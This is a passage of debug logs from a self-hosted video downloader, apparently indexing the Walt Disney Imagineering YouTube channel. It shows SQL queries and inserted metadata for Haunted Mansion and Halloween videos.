life\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "453649e1-68bd-4f6b-b1a3-7ec1be557801", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, 271, false, 15, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].mp4", false, false, 2, [], 98, ~U[2025-10-31 19:00:54Z], ~U[2026-03-31 22:57:05Z], ~U[2026-03-31 22:57:05Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ *What makes this special?*\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", 271, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].mp4", false, 2, ~U[2025-10-31 19:00:54Z]] 18:57:05.399 [debug] QUERY OK source="sources" db=0.1ms idle=783.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:05.399 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:05.400 [debug] QUERY OK source="media_items" db=0.1ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2507] 18:57:05.400 [debug] Current batch of media processed. Will check again in 1000ms 18:57:06.400 [debug] Current batch of media processed. Will check again in 1000ms 18:57:07.401 [debug] Current batch of media processed. Will check again in 1000ms 18:57:08.403 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "duration" => 187, "filename" => "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].mp4", "id" => "wkC-B7PNMCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wkC-B7PNMCI", "playlist_index" => 16, "timestamp" => 1761580837, "title" => "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "upload_date" => "20251027"} 18:57:08.403 [debug] QUERY OK source="sources" db=0.2ms idle=1997.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:08.403 [debug] QUERY OK source="sources" db=0.1ms idle=1998.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:08.404 [debug] QUERY OK source="media_items" db=0.5ms idle=1998.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 16:00:37Z], 2] 18:57:08.406 [debug] QUERY OK source="media_items" db=1.5ms idle=1786.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "00a6e49e-2bda-4573-a4a9-d31b74a9c134", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, 187, false, 16, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].mp4", false, false, 2, [], 98, ~U[2025-10-27 16:00:37Z], ~U[2026-03-31 22:57:08Z], ~U[2026-03-31 22:57:08Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", 187, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].mp4", false, 2, ~U[2025-10-27 16:00:37Z]] 18:57:08.407 [debug] QUERY OK source="sources" db=0.2ms idle=787.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:08.407 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:08.407 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2423] 18:57:08.407 [debug] Current batch of media processed. Will check again in 1000ms 18:57:09.408 [debug] Current batch of media processed. Will check again in 1000ms 18:57:10.409 [debug] Current batch of media processed. Will check again in 1000ms 18:57:11.410 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 *Key Takeaways*\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "duration" => 1714, "filename" => "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].mp4", "id" => "CXLICqOYoh0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CXLICqOYoh0", "playlist_index" => 17, "timestamp" => 1760896808, "title" => "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "upload_date" => "20251019"} 18:57:11.411 [debug] QUERY OK source="sources" db=0.2ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:11.411 [debug] QUERY OK source="sources" db=0.1ms idle=1006.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:11.412 [debug] QUERY OK source="media_items" db=0.5ms idle=1006.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 18:00:08Z], 2] 18:57:11.414 [debug] QUERY OK source="media_items" db=1.6ms idle=1007.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 *Key Takeaways*\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "e109d220-549c-4da6-a7a0-4a49a90cdd8c", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, 1714, false, 17, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].mp4", false, false, 2, [], 98, ~U[2025-10-19 18:00:08Z], ~U[2026-03-31 22:57:11Z], ~U[2026-03-31 22:57:11Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 *Key Takeaways*\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", 1714, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].mp4", false, 2, ~U[2025-10-19 18:00:08Z]] 18:57:11.415 [debug] QUERY OK source="sources" db=0.2ms idle=789.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 